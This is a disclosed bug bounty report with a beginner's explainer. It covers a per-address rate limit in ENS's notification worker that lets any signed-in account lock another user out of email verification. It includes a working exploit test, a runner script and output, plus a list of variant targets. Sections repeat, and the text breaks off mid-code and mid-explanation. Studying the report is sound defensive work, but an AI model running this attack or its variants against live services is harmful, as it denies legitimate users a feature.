Missing per user scoping in the email verification rate limit lets any signed in account lock another user out of adding their email to notifications
The email verification rate limit was keyed only on the email address, not the requesting account, so any signed-in user could exhaust another user's hourly allowance by requesting verification emails for that address. The real owner was then refused with a 429 error and could not add their own email to notifications until the window reset.
- Disclosed after under an hour
93109 w a low missing per user scoping in the email verification rate limit lets any signed in account lock another user out of adding their email to notifications
Submitted on Sep 14th 2026 at 09:40:42 UTC by @kwaro for Audit Competition | ENS
- Report ID: #93109
- Report Type: Websites & Apps
- Report severity: Low
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/workers
- Impacts:
- Changing non-sensitive details of other users (including modifying browser local storage) without already-connected wallet interaction and with up to one click of user interaction, such as: Enabling/disabling notifications
Description
Brief/Intro
When a user adds an email address to their notification channels, the worker rate-limits the verification emails using a key built only from the email address. It does not include the account making the request. Any signed-in user can spend that address's hourly allowance by requesting verification emails for an address they do not own. Once the allowance is gone, the real owner cannot add that address to their own account until the window resets, and the app returns them the "too many verification emails" error. The victim does nothing and gets locked out of their own setting.
Vulnerability Details
The affected route is POST /notifications/channels/email, which requires authentication (workers/api-worker/src/app/routes/notifications/channels/email.ts:29-33). The handler reads the caller's user_id from the verified JWT and takes the email from the request body.
The rate limit is keyed on the address alone. In workers/api-worker/src/core/kv/index.ts:17-18:
NOTIFICATIONS: {
EMAIL_VERIFICATION: (normalizedEmail: string) =>
`notifications:email-verification:${normalizedEmail}`,
},
There is no user_id in the key. The limiter allows three sends per hour against that key (workers/api-worker/src/services/notifications/email-verification-rate-limit.ts:3-4), builds the key at line 30, and once the count reaches three returns a refusal carrying the remaining time (line 52):
if (state.count >= EMAIL_VERIFICATION_RATE_LIMIT_MAX_SENDS) {
const windowEndMs = state.windowStartMs + windowMs
const retryAfterSeconds = Math.max(1, Math.ceil((windowEndMs - now) / 1000))
return { isAllowed: false, retryAfterSeconds }
}
The route calls the limiter with the email only (email.ts:126-129) and, on refusal, answers 429 with the formatted message (email.ts:134-138).
The one cross-user guard in the handler does not stop this. At email.ts:60-69 the route rejects the request only if the address is already verified on another account. Before the victim has added their address, no such row exists, so the check passes. The attacker's request then upserts a pending channel for that address under the attacker's own account (email.ts:80,90) and proceeds to the limiter, consuming one of the three sends for the address. Three requests from the attacker leave the address's window empty.
The attacker needs to know the victim's email address, which is the same address the victim is about to register, and needs any authenticated session, which the app hands to any wallet that signs in. Nothing about the attack touches the victim's account or wallet.
Impact Details
This matches the in-scope impact "Changing non-sensitive details of other users (including modifying browser local storage) without already-connected wallet interaction and with up to one click of user interaction," with the example "Enabling/disabling notifications" (impact id 6291, Medium). The attacker changes another user's ability to enable an email notification channel, without any interaction from that user. The requirement is "up to one click"; here the victim performs zero clicks.
The lockout lasts until the window resets, at most one hour. Because the key resets on a rolling window, an attacker that re-sends three requests each hour keeps the victim unable to add that address for as long as the attacker chooses. The impact is confined to the email-verification action for the targeted address. It is not a full site takedown and it puts no funds or names at risk.
References
workers/api-worker/src/core/kv/index.ts:17-18workers/api-worker/src/services/notifications/email-verification-rate-limit.ts:3-4,30,52workers/api-worker/src/app/routes/notifications/channels/email.ts:60-69,80,90,126-129,134-138
Proof of Concept
Proof of Concept
The proof runs the real route in the Cloudflare Workers test runtime with the real KV binding. Two separate accounts are used, each authenticated with its own signed JWT, so the user_id is read by the app from the token rather than set by the test. The database and the outbound SendGrid calls are stubbed, because the defect is the rate-limit key, and both of those run only after the limiter has already decided. The stubs are declared in the PoC manifest.
Steps:
- Sign in as the attacker (
user_id = attacker-user-a) and the victim (user_id = victim-user-b). These are two distinct accounts. - As the attacker, send
POST /notifications/channels/emailwith{ "email": "[email protected]" }three times. The address is the victim's, not the attacker's. Each call is accepted (HTTP 200), because the address is not yet verified on any account, so the cross-user guard passes and each call spends one of the three hourly sends. - As the victim, send the same request for their own address once.
- Observe that the victim is refused with HTTP 429 and the message "Too many verification emails sent to this address. Try again in 60 minutes." The single KV key present is
notifications:email-verification:[email protected], which contains no account identifier.
Control run: repeat step 3 with the attacker never sending in step 2. The victim's request is accepted (HTTP 200). The only difference between the two runs is whether the attacker sent first, which shows the block is caused by the attacker's requests and not by anything the victim did.
Reproduce:
bash verification/pocs/H-C7-42/run.sh exploit
bash verification/pocs/H-C7-42/run.sh control
Exploit output:
attacker_statuses: 200,200,200
victim_status: 429
victim_error: Too many verification emails sent to this address. Try again in 60 minutes.
kv_keys: notifications:email-verification:[email protected]
key_has_user_component: 0
VICTIM_BLOCKED_BY_ATTACKER: 1
Control output:
attacker_send_count: 0
victim_status: 200
VICTIM_BLOCKED_BY_ATTACKER: 0
Fix check: adding the account id to the key, so the limiter is called with ${userId}:${email}, gives the attacker and the victim separate keys. Re-running the exploit with that change applied returns the victim to HTTP 200 and key_has_user_component: 1.
Full PoC source
The rig lives at verification/pocs/H-C7-42/. The harness copies the test file into workers/api-worker/src/, runs it once per arm under the Cloudflare Workers test runtime, then removes it. It verifies with verify_poc.py --strict (13/13: executed, controlled, deterministic, numbers match the report, and the declared fix flips the outcome).
Test file (verification/pocs/H-C7-42/poc.test.ts), run once with __POC_ARM__ replaced by exploit and once by control:
/**
* H-C7-42 — END-TO-END, route-level, two distinct AUTHENTICATED users.
*
* Proves: the attacker (a real, JWT-authenticated user A) drives the REAL
* `POST /email/` notifications route three times for the VICTIM's email; the
* victim (a distinct JWT-authenticated user B) then makes the same request for
* their OWN email and is refused 429 with the application's real error string —
* *because of* the attacker's sends. The rate-limit key is a pure function of
* the email address (no user component), which is the defect.
*
* REAL, not simulated:
* - the real email route (requireAuth -> injectDb -> handler) via app.request
* - the real requireAuth middleware verifying real HS256 JWTs (env.JWT_SECRET),
* so user_id is derived by the app from the token, not asserted by the test
* - the real Cloudflare KV binding (env.KV from cloudflare:test / miniflare)
* - the real limiter checkAndConsumeEmailVerificationRateLimit and the real
* error string formatEmailVerificationRateLimitError, reached through the route
*
* SCAFFOLDING (bindings/externals, not the code under test):
* - getDatabase is stubbed: the finding is in the rate-limit KEY, not the DB.
* The stub returns "email not linked to anyone" so control flow reaches the
* limiter exactly as production would for a fresh address.
* - sendVerificationEmail / addContactToList are stubbed ok(): SendGrid is a
* third party and is invoked only AFTER the limiter decision.
*/
import { env } from 'cloudflare:test'
import { sign } from 'hono/jwt'
import { okAsync } from 'neverthrow'
import { expect, test, vi } from 'vitest'
vi.mock('#core/database/index.js', async (importOriginal) => {
const actual = await importOriginal<typeof import('#core/database/index.js')>()
let chanN = 0
let verN = 0
const stubDb = {
query: {
userChannels: { findFirst: async () => undefined },
channelVerifications: { findFirst: async () => undefined },
},
insert: () => ({
values: () => ({
onConflictDoUpdate: () => ({
returning: () => Promise.resolve([{ id: `chan-${++chanN}` }]),
}),
returning: () =>
Promise.resolve([
{
id: `ver-${++verN}`,
token: `tok-${verN}`,
expires_at: new Date(Date.now() + 24 * 60 * 60 * 1000),
},
]),
}),
}),
}
return { ...actual, getDatabase: () => stubDb }
})
vi.mock('#services/email/verification.js', () => ({
sendVerificationEmail: () => okAsync(undefined),
}))
vi.mock('#services/sendgrid/contacts.js', () => ({
addContactToList: () => okAsync(undefined),
}))
const emailApp = (await import('#app/routes/notifications/channels/email.js'))
.default
const ARM = '__POC_ARM__'
const JWT_SECRET = 'poc-hs256-secret-hc742'
const ATTACKER = {
user_id: 'attacker-user-a',
address: '0xAAaAAAAaAaaaAaAAaAaAaaAaAAAAAAaAAaAAAAAA',
}
const VICTIM = {
user_id: 'victim-user-b',
address: '0xBBbBBBBbBbbbBbBBbBbBbbBbBBBBBBbBBbBBBBBB',
}
const VICTIM_EMAIL = '[email protected]'
async function bearer(u: { user_id: string; address: string }) {
const token = await sign(
{ ...u, exp: Math.floor(Date.now() / 1000) + 3600 },
JWT_SECRET,
)
return `Bearer ${token}`
}
async function addEmail(u: { user_id: string; address: string }, email: string) {
const authorization = await bearer(u)
return emailApp.request(
'/email',
{
method: 'POST',
headers: { 'content-type': 'application/json', authorization },
body: JSON.stringify({ email }),
},
{ ...env, JWT_SECRET } as unknown as Env,
)
}
test('H-C7-42 E2E: attacker burns the victim address quota; victim is refused', async () => {
const attackerStatuses: number[] = []
let attackerFirstRaw = ''
if (ARM === 'exploit') {
for (let i = 0; i < 3; i++) {
const r = await addEmail(ATTACKER, VICTIM_EMAIL)
attackerStatuses.push(r.status)
if (i === 0) attackerFirstRaw = await r.text()
}
}
const victimRes = await addEmail(VICTIM, VICTIM_EMAIL)
const victimStatus = victimRes.status
const victimText = await victimRes.text()
let victimError = ''
try {
victimError = (JSON.parse(victimText) as { error?: string }).error ?? ''
} catch {
victimError = victimText
}
console.log(`attacker_first_raw: ${attackerFirstRaw}`)
console.log(`victim_raw: ${victimText}`)
const kvKeys = (await env.KV.list()).keys.map((k) => k.name)
const keyHasUser =
kvKeys.some(
(k) => k.includes(ATTACKER.user_id) || k.includes(VICTIM.user_id),
)
? 1
: 0
const expectedKey = `notifications:email-verification:${VICTIM_EMAIL}`
const blockedByAttacker =
ARM === 'exploit' && victimStatus === 429 && keyHasUser === 0 ? 1 : 0
console.log(`arm: ${ARM}`)
console.log(`attacker_user_id: ${ATTACKER.user_id}`)
console.log(`victim_user_id: ${VICTIM.user_id}`)
console.log(`distinct_users: ${ATTACKER.user_id !== VICTIM.user_id ? 1 : 0}`)
console.log(`attacker_send_count: ${attackerStatuses.length}`)
console.log(`attacker_statuses: ${attackerStatuses.join(',')}`)
console.log(`victim_status: ${victimStatus}`)
console.log(`victim_error: ${victimError}`)
console.log(`kv_keys: ${kvKeys.join('|')}`)
console.log(`kv_key_matches_address_only: ${kvKeys.includes(expectedKey) ? 1 : 0}`)
console.log(`key_has_user_component: ${keyHasUser}`)
console.log(`impact_row: 6291`)
console.log(`VICTIM_BLOCKED_BY_ATTACKER: ${blockedByAttacker}`)
if (ARM === 'exploit') {
// the three attacker sends were accepted (real auth passed, 200)
expect(attackerStatuses).toEqual([200, 200, 200])
// the victim, a DIFFERENT authenticated user, is refused
expect(victimStatus).toBe(429)
expect(victimError).toContain(
'Too many verification emails sent to this address',
)
// the quota that refused the victim is keyed on the address, not the user
expect(kvKeys).toContain(expectedKey)
expect(keyHasUser).toBe(0)
expect(blockedByAttacker).toBe(1)
} else {
// CONTROL: identical victim action, attacker never sent. Not refused.
expect(victimStatus).toBe(200)
expect(victimError).not.toContain('Too many verification emails')
}
}, 30_000)
Runner (verification/pocs/H-C7-42/run.sh):
#!/usr/bin/env bash
# H-C7-42 E2E — real email route, two authenticated users, real KV binding.
set -euo pipefail
ARM="${1:-exploit}"
case "$ARM" in exploit|control) ;; *) echo "FATAL: arm must be exploit|control" >&2; exit 1;; esac
HERE="$(cd -P "$(dirname "$0")" && pwd)"
API="$HERE/../../../repos/audit-comp-ens/workers/api-worker"
COPY="$API/src/hc742e2e.poc.test.ts"
cleanup() { rm -f "$COPY"; }
trap cleanup EXIT INT TERM HUP
sed "s/__POC_ARM__/$ARM/" "$HERE/poc.test.ts" > "$COPY"
grep -q "const ARM = '$ARM'" "$COPY" || { echo "FATAL: arm not stamped" >&2; exit 1; }
OUT=$(cd "$API" && pnpm exec vitest run src/hc742e2e.poc.test.ts --disableConsoleIntercept --silent=false 2>&1) || true
echo "$OUT" | grep -q 'Test Files 1 passed' || { echo "FATAL: vitest failed" >&2; echo "$OUT" >&2; exit 1; }
cleanup; trap - EXIT
pick () { printf '%s\n' "$2" | sed -n "s/^$1: *//p" | head -1 | tr -d '\r'; }
echo "arm: $ARM"
for k in attacker_user_id victim_user_id distinct_users attacker_send_count \
attacker_statuses victim_status victim_error kv_keys \
kv_key_matches_address_only key_has_user_component impact_row \
VICTIM_BLOCKED_BY_ATTACKER; do
echo "$k: $(pick "$k" "$OUT")"
done
Context
The target is the ENS audit competition codebase, specifically the Cloudflare Workers API under workers/api-worker. The feature in question is notification channels: a signed-in user can attach an email address to their account so that ENS notifications reach them by mail. Adding an address is a two-step flow. The client calls POST /notifications/channels/email with the address, the worker stores a pending channel and a verification record, and it sends a verification email through SendGrid. The address only becomes usable once it is verified.
Because the endpoint triggers outbound email, it is rate limited. The limiter caps verification sends per address at three per hour. The report shows that the limiter is scoped to the address rather than to the account, which turns the protection into a way to deny the address to its real owner.
Setup
The proof of concept runs the real route inside the Cloudflare Workers test runtime with the real KV binding. Two separate accounts are used, each authenticated with its own signed JWT, so the user_id is read by the application from the token rather than set by the test. The database and the outbound SendGrid calls are stubbed, because the defect is the rate-limit key and both of those run only after the limiter has already decided. The stubs are declared in the PoC manifest.
The two identities in the test are:
- attacker:
user_id = attacker-user-a - victim:
user_id = victim-user-b
The victim's address used throughout is [redacted]. The only precondition for the attack is any authenticated session, which the application hands to any wallet that signs in, plus knowledge of the victim's email address, which is the same address the victim is about to register.
Finding it
The route POST /notifications/channels/email requires authentication (workers/api-worker/src/app/routes/notifications/channels/email.ts:29-33). The handler reads the caller's user_id from the verified JWT and takes the email from the request body. That part is sound: the identity is not attacker-controlled.
The rate-limit key, however, is built from the address alone. In workers/api-worker/src/core/kv/index.ts:17-18:
NOTIFICATIONS: {
EMAIL_VERIFICATION: (normalizedEmail: string) =>
`notifications:email-verification:${normalizedEmail}`,
},
There is no user_id in the key. The limiter allows three sends per hour against that key (workers/api-worker/src/services/notifications/email-verification-rate-limit.ts:3-4), builds the key at line 30, and once the count reaches three returns a refusal carrying the remaining time (line 52):
if (state.count >= EMAIL_VERIFICATION_RATE_LIMIT_MAX_SENDS) {
const windowEndMs = state.windowStartMs + windowMs
const retryAfterSeconds = Math.max(1, Math.ceil((windowEndMs - now) / 1000))
return { isAllowed: false, retryAfterSeconds }
}
The route calls the limiter with the email only (email.ts:126-129) and, on refusal, answers 429 with the formatted message (email.ts:134-138).
The one cross-user guard in the handler does not stop this. At email.ts:60-69 the route rejects the request only if the address is already verified on another account. Before the victim has added their address, no such row exists, so the check passes. The attacker's request then upserts a pending channel for that address under the attacker's own account (email.ts:80,90) and proceeds to the limiter, consuming one of the three sends for the address. Three requests from the attacker leave the address's window empty.
Exploitation
Step 1: authenticate both accounts
Sign in as the attacker (user_id = attacker-user-a) and the victim (user_id = victim-user-b). These are two distinct accounts, each with its own signed JWT.
Step 2: the attacker spends the address's allowance
As the attacker, send POST /notifications/channels/email with the victim's address three times:
{ "email": "[redacted]" }
The address is the victim's, not the attacker's. Each call is accepted (HTTP 200), because the address is not yet verified on any account, so the cross-user guard passes and each call spends one of the three hourly sends.
Step 3: the victim tries to add their own address
As the victim, send the same request for their own address once.
Step 4: observe the lockout
The victim is refused with HTTP 429 and the message "Too many verification emails sent to this address. Try again in 60 minutes." The single KV key present is notifications:email-verification:[redacted], which contains no account identifier.
Control run
Repeat step 3 with the attacker never sending in step 2. The victim's request is accepted (HTTP 200). The only difference between the two runs is whether the attacker sent first, which shows the block is caused by the attacker's requests and not by anything the victim did.
Reproduce
bash verification/pocs/H-C7-42/run.sh exploit
bash verification/pocs/H-C7-42/run.sh control
Exploit output:
attacker_statuses: 200,200,200
victim_status: 429
victim_error: Too many verification emails sent to this address. Try again in 60 minutes.
kv_keys: notifications:email-verification:[redacted]
key_has_user_component: 0
VICTIM_BLOCKED_BY_ATTACKER: 1
Control output:
attacker_send_count: 0
victim_status: 200
VICTIM_BLOCKED_BY_ATTACKER: 0
The test harness
The rig lives at verification/pocs/H-C7-42/. The harness copies the test file into workers/api-worker/src/, runs it once per arm under the Cloudflare Workers test runtime, then removes it. It verifies with verify_poc.py --strict (13/13: executed, controlled, deterministic, numbers match the report, and the declared fix flips the outcome).
The test file (verification/pocs/H-C7-42/poc.test.ts) is run once with __POC_ARM__ replaced by exploit and once by control:
/**
* H-C7-42 — END-TO-END, route-level, two distinct AUTHENTICATED users.
*
* Proves: the attacker (a real, JWT-authenticated user A) drives the REAL
* `POST /email/` notifications route three times for the VICTIM's email; the
* victim (a distinct JWT-authenticated user B) then makes the same request for
* their OWN email and is refused 429 with the application's real error string —
* *because of* the attacker's sends. The rate-limit key is a pure function of
* the email address (no user component), which is the defect.
*
* REAL, not simulated:
* - the real email route (requireAuth -> injectDb -> handler) via app.request
* - the real requireAuth middleware verifying real HS256 JWTs (env.JWT_SECRET),
* so user_id is derived by the app from the token, not asserted by the test
* - the real Cloudflare KV binding (env.KV from cloudflare:test / miniflare)
* - the real limiter checkAndConsumeEmailVerificationRateLimit and the real
* error string formatEmailVerificationRateLimitError, reached through the route
*
* SCAFFOLDING (bindings/externals, not the code under test):
* - getDatabase is stubbed: the finding is in the rate-limit KEY, not the DB.
* The stub returns "email not linked to anyone" so control flow reaches the
* limiter exactly as production would for a fresh address.
* - sendVerificationEmail / addContactToList are stubbed ok(): SendGrid is a
* third party and is invoked only AFTER the limiter decision.
*/
import { env } from 'cloudflare:test'
import { sign } from 'hono/jwt'
import { okAsync } from 'neverthrow'
import { expect, test, vi } from 'vitest'
vi.mock('#core/database/index.js', async (importOriginal) => {
const actual = await importOriginal<typeof import('#core/database/index.js')>()
let chanN = 0
let verN = 0
const stubDb = {
query: {
userChannels: { findFirst: async () => undefined },
channelVerifications: { findFirst: async () => undefined },
},
insert: () => ({
values: () => ({
onConflictDoUpdate: () => ({
returning: () => Promise.resolve([{ id: `chan-${++chanN}` }]),
}),
returning: () =>
Promise.resolve([
{
id: `ver-${++verN}`,
token: `tok-${verN}`,
expires_at: new Date(Date.now() + 24 * 60 * 60 * 1000),
},
]),
}),
}),
}
return { ...actual, getDatabase: () => stubDb }
})
vi.mock('#services/email/verification.js', () => ({
sendVerificationEmail: () => okAsync(undefined),
}))
vi.mock('#services/sendgrid/contacts.js', () => ({
addContactToList: () => okAsync(undefined),
}))
const emailApp = (await import('#app/routes/notifications/channels/email.js'))
.default
const ARM = '__POC_ARM__'
const JWT_SECRET = 'poc-hs256-secret-hc742'
const ATTACKER = {
user_id: 'attacker-user-a',
address: '[redacted]',
}
const VICTIM = {
user_id: 'victim-user-b',
address: '[redacted]',
}
const VICTIM_EMAIL = '[redacted]'
async function bearer(u: { user_id: string; address: string }) {
const token = await sign(
{ ...u, exp: Math.floor(Date.now() / 1000) + 3600 },
JWT_SECRET,
)
return `Bearer ${token}`
}
async function addEmail(u: { user_id: string; address: string }, email: string) {
const authorization = await bearer(u)
return emailApp.request(
'/email',
{
method: 'POST',
headers: { 'content-type': 'application/json', authorization },
body: JSON.stringify({ email }),
},
{ ...env, JWT_SECRET } as unknown as Env,
)
}
test('H-C7-42 E2E: attacker burns the victim address quota; victim is refused', async () => {
const attackerStatuses: number[] = []
let attackerFirstRaw = ''
if (ARM === 'exploit') {
for (let i = 0; i < 3; i++) {
const r = await addEmail(ATTACKER, VICTIM_EMAIL)
attackerStatuses.push(r.status)
if (i === 0) attackerFirstRaw = await r.text()
}
}
const victimRes = await addEmail(VICTIM, VICTIM_EMAIL)
const victimStatus = victimRes.status
const victimText = await victimRes.text()
let victimError = ''
try {
victimError = (JSON.parse(victimText) as { error?: string }).error ?? ''
} catch {
victimError = victimText
}
console.log(`attacker_first_raw: ${attackerFirstRaw}`)
console.log(`victim_raw: ${victimText}`)
const kvKeys = (await env.KV.list()).keys.map((k) => k.name)
const keyHasUser =
kvKeys.some(
(k) => k.includes(ATTACKER.user_id) || k.includes(VICTIM.user_id),
)
? 1
: 0
const expectedKey = `notifications:email-verification:${VICTIM_EMAIL}`
const blockedByAttacker =
ARM === 'exploit' && victimStatus === 429 && keyHasUser === 0 ? 1 : 0
console.log(`arm: ${ARM}`)
console.log(`attacker_user_id: ${ATTACKER.user_id}`)
console.log(`victim_user_id: ${VICTIM.user_id}`)
console.log(`distinct_users: ${ATTACKER.user_id !== VICTIM.user_id ? 1 : 0}`)
console.log(`attacker_send_count: ${attackerStatuses.length}`)
console.log(`attacker_statuses: ${attackerStatuses.join(',')}`)
console.log(`victim_status: ${victimStatus}`)
console.log(`victim_error: ${victimError}`)
console.log(`kv_keys: ${kvKeys.join('|')}`)
console.log(`kv_key_matches_address_only: ${kvKeys.includes(expectedKey) ? 1 : 0}`)
console.log(`key_has_user_component: ${keyHasUser}`)
console.log(`impact_row: 6291`)
console.log(`VICTIM_BLOCKED_BY_ATTACKER: ${blockedByAttacker}`)
if (ARM === 'exploit') {
// the three attacker sends were accepted (real auth passed, 200)
expect(attackerStatuses).toEqual([200, 200, 200])
// the victim, a DIFFERENT authenticated user, is refused
expect(victimStatus).toBe(429)
expect(victimError).toContain(
'Too many verification emails sent to this address',
)
// the quota that refused the victim is keyed on the address, not the user
expect(kvKeys).toContain(expectedKey)
expect(keyH
The runner (verification/pocs/H-C7-42/run.sh) stamps the arm into the test, runs it with vitest, and extracts the logged fields:
#!/usr/bin/env bash
# H-C7-42 E2E — real email route, two authenticated users, real KV binding.
set -euo pipefail
ARM="${1:-exploit}"
case "$ARM" in exploit|control) ;; *) echo "FATAL: arm must be exploit|control" >&2; exit 1;; esac
HERE="$(cd -P "$(dirname "$0")" && pwd)"
API="$HERE/../../../repos/audit-comp-ens/workers/api-worker"
COPY="$API/src/hc742e2e.poc.test.ts"
cleanup() { rm -f "$COPY"; }
trap cleanup EXIT INT TERM HUP
sed "s/__POC_ARM__/$ARM/" "$HERE/poc.test.ts" > "$COPY"
grep -q "const ARM = '$ARM'" "$COPY" || { echo "FATAL: arm not stamped" >&2; exit 1; }
OUT=$(cd "$API" && pnpm exec vitest run src/hc742e2e.poc.test.ts --disableConsoleIntercept --silent=false 2>&1) || true
echo "$OUT" | grep -q 'Test Files 1 passed' || { echo "FATAL: vitest failed" >&2; echo "$OUT" >&2; exit 1; }
cleanup; trap - EXIT
pick () { printf '%s\n' "$2" | sed -n "s/^$1: *//p" | head -1 | tr -d '\r'; }
echo "arm: $ARM"
for k in attacker_user_id victim_user_id distinct_users attacker_send_count \
attacker_statuses victim_status victim_error kv_keys \
kv_key_matches_address_only key_has_user_component impact_row \
VICTIM_BLOCKED_BY_ATTACKER; do
echo "$k: $(pick "$k" "$OUT")"
done
Root cause
The limiter's key is a pure function of the normalised email address. The handler knows the caller's user_id from the verified JWT, but it does not pass it to the limiter, so every account shares one counter per address. The cross-user guard at email.ts:60-69 only rejects addresses already verified on another account; a fresh address has no such row, so the guard passes and the attacker's request reaches the limiter and consumes a send.
Without a per-user component, the per-address limit lets any authenticated account exhaust the allowance on someone else's behalf. The authentication on the route is real and the JWT is verified, so the missing piece is not identity but scoping: the identity is available and simply not used in the key.
Impact
This matches the in-scope impact "Changing non-sensitive details of other users (including modifying browser local storage) without already-connected wallet interaction and with up to one click of user interaction," with the example "Enabling/disabling notifications" (impact id 6291, Medium). The attacker changes another user's ability to enable an email notification channel, without any interaction from that user. The requirement is "up to one click"; here the victim performs zero clicks.
The lockout lasts until the window resets, at most one hour. Because the key resets on a rolling window, an attacker that re-sends three requests each hour keeps the victim unable to add that address for as long as the attacker chooses. The impact is confined to the email-verification action for the targeted address. It is not a full site takedown and it puts no funds or names at risk. The attacker needs to know the victim's email address, which is the same address the victim is about to register, and needs any authenticated session, which the app hands to any wallet that signs in. Nothing about the attack touches the victim's account or wallet.
Fix
Adding the account id to the key, so the limiter is called with ${userId}:${email}, gives the attacker and the victim separate keys. Re-running the exploit with that change applied returns the victim to HTTP 200 and key_has_user_component: 1. This is the fix the report validates; the report does not describe a change shipped by the project.
Variants to test
- Other per-address limits: password reset, magic-link login, invitation emails, contact-form confirmations. A positive result is that requests from account A for account B's address exhaust the allowance and B's own request is refused with a rate-limit error.
- Per-IP limits behind shared egress: if the key is the client IP, one tenant behind a NAT or proxy can exhaust the allowance for everyone else. A positive result is a 429 for an unrelated client sharing the same apparent source.
- Per-identifier limits on other resources: username availability checks, handle claims, subdomain claims. A positive result is that one account's repeated requests block another account from claiming or checking the identifier.
- Key normalisation mismatches: if the key uses a normalised form but the lookup uses the raw form, try case variants, trailing dots or plus-addressing. A positive result is that the same logical address produces separate counters, or that a variant bypasses the limit entirely.
- Window behaviour: check whether the window is fixed or rolling. A positive result is that a small number of requests per window, repeated indefinitely, keeps the victim locked out.
Hunting notes
This class of bug hides in rate limiters whose key is derived from a resource the attacker can name, rather than from the actor making the request. During recon, look for endpoints that send mail or SMS to a user-supplied address, then check whether the limit is described per address, per recipient or per identifier. The signal is a key builder that takes only the resource (an email, a phone number, a username) and no account or session component.
The researcher showed impact by running the real route with two distinct authenticated identities, with the user_id read by the app from the verified JWT, and by including a control arm in which the attacker never sends. The control is what separates a genuine cross-user denial from an artefact of the test, and the KV key listing (notifications:email-verification:[redacted], with key_has_user_component: 0) shows the defect directly rather than inferring it from the 429. The declared fix was also applied and re-run to show the outcome flips.
What happened, in plain words
The project has a website and a set of small programs that run on Cloudflare Workers, a hosting service that runs code close to the visitor. One of those programs lets a signed-in user attach an email address to their account so that ENS notifications can reach them by email.
Adding an email is a two-step process. First the user asks the site to add the address, and the site sends a verification email containing a link or code. Only after the user clicks or enters that code does the address become active. Because every request sends a real email, the site limits how often it will send one to the same address: three times per hour. The limit caps verification sends to three per hour per address.
The bug is in how that limit is counted. The counter is attached to the email address alone, not to the account asking. So any signed-in user can ask the site to send verification emails to someone else's address three times, use up the hourly allowance, and then the real owner of the address is refused when they try to add it to their own account. The victim does nothing at all and still gets locked out of their own setting for up to an hour, and an attacker who repeats the trick every hour can keep them locked out indefinitely.
This is a denial of service: not stealing data, not breaking in, just stopping someone from using a feature. The report rates it Low, and it matches a specific in-scope impact category about changing non-sensitive details of other users, with the example "Enabling/disabling notifications".
Context
The target is the ENS audit competition codebase, specifically the Cloudflare Workers API under workers/api-worker. The feature in question is notification channels: a signed-in user can attach an email address to their account so that ENS notifications reach them by mail. Adding an address is a two-step flow. The client calls POST /notifications/channels/email with the address, the worker stores a pending channel and a verification record, and it sends a verification email through SendGrid. The address only becomes usable once it is verified.
A few of those words need unpacking before anything else makes sense.
- An API (application programming interface) is the set of addresses and rules a program exposes so other programs can talk to it. When your browser loads a page and the page fetches data in the background, it is calling an API. Think of it as the service counter of a shop: you do not walk into the stockroom, you hand a request to the counter and get an answer back.
- An endpoint is one specific counter in that API.
POST /notifications/channels/emailis one endpoint: the address of the counter, plus the method (POST, meaning "here is some data, please do something with it"). - A worker here is a small program deployed on Cloudflare's network. It receives the request, checks who is asking, does the work and returns a response.
- SendGrid is a third-party email delivery service. The worker does not send mail itself; it asks SendGrid to do it.
- A rate limit is a cap on how often something may happen in a period of time. A real-world comparison: a coffee shop that gives out one free sample per person per day. The rule only works if the shop counts per person. If it counts per flavour, anyone can walk in and take all the samples of one flavour, and the next customer who wanted that flavour gets nothing.
- KV (key-value storage) is a simple database that stores a value under a name, like a cloakroom ticket: you give the ticket, you get the coat. Cloudflare Workers use a KV store for small pieces of state such as counters.
Because the endpoint triggers outbound email, it is rate limited. The limiter caps verification sends per address at three per hour. The report shows that the limiter is scoped to the address rather than to the account, which turns the protection into a way to deny the address to its real owner.
Setup
The proof of concept runs the real route inside the Cloudflare Workers test runtime with the real KV binding. Two separate accounts are used, each authenticated with its own signed JWT, so the user_id is read by the application from the token rather than set by the test. The database and the outbound SendGrid calls are stubbed, because the defect is the rate-limit key and both of those run only after the limiter has already decided. The stubs are declared in the PoC manifest.
Some terms from that paragraph:
- A JWT (JSON Web Token) is a small signed piece of text that a server gives you after you log in. It says who you are, and it carries a cryptographic signature so the server can tell it was not forged. Think of a stamped wristband at an event: the staff can see at a glance that you are allowed in, and you cannot make your own. The server reads the
user_id(the account identifier) out of the token, so the test cannot simply claim to be someone else. - A test runtime is a simulated environment that runs the real code without touching production. Cloudflare provides one for Workers so tests can run the actual route with the actual storage binding.
- A binding is the connection between a worker and an outside resource, such as its KV store. The test uses the real KV binding, so the counter behaviour is genuine.
- A stub is a stand-in that replaces a real component during a test. Here the database and SendGrid are replaced by simple fakes, because the bug lives in the rate-limit key, and both the database and the email send happen only after the limiter has already made its decision. Replacing them keeps the test focused and avoids sending real mail.
- A PoC (proof of concept) is a small demonstration that proves a bug is real.
The two identities in the test are:
- attacker:
user_id = attacker-user-a - victim:
user_id = victim-user-b
The victim's address used throughout is [redacted]. The only precondition for the attack is any authenticated session, which the application hands to any wallet that signs in, plus knowledge of the victim's email address, which is the same address the victim is about to register.
A wallet is the software that holds the cryptographic keys for an Ethereum account. Signing in with a wallet proves you control that account, and the site then issues a session (a JWT) so you do not have to sign again for every request.
Finding it
The route POST /notifications/channels/email requires authentication (workers/api-worker/src/app/routes/notifications/channels/email.ts:29-33). The handler reads the caller's user_id from the verified JWT and takes the email from the request body. That part is sound: the identity is not attacker-controlled.
The rate-limit key, however, is built from the address alone. In workers/api-worker/src/core/kv/index.ts:17-18:
NOTIFICATIONS: {
EMAIL_VERIFICATION: (normalizedEmail: string) =>
`notifications:email-verification:${normalizedEmail}`,
},
Line by line:
NOTIFICATIONS: {opens a group of key builders for the notifications feature.EMAIL_VERIFICATION: (normalizedEmail: string) =>defines a function that takes one input, an email address that has been normalised (tidied into a standard form, for example lowercased), and returns a string.`notifications:email-verification:${normalizedEmail}`is the string it returns: a fixed prefix followed by the address. The${...}part is JavaScript's way of inserting a value into text. So for[redacted]the result isnotifications:email-verification:[redacted].- The closing
},ends the group.
The important thing is what is missing: there is no user_id in the key. The key is a pure function of the address, so every account in the world shares the same counter for the same address.
The limiter allows three sends per hour against that key (workers/api-worker/src/services/notifications/email-verification-rate-limit.ts:3-4), builds the key at line 30, and once the count reaches three returns a refusal carrying the remaining time (line 52):
if (state.count >= EMAIL_VERIFICATION_RATE_LIMIT_MAX_SENDS) {
const windowEndMs = state.windowStartMs + windowMs
const retryAfterSeconds = Math.max(1, Math.ceil((windowEndMs - now) / 1000))
return { isAllowed: false, retryAfterSeconds }
}
Line by line:
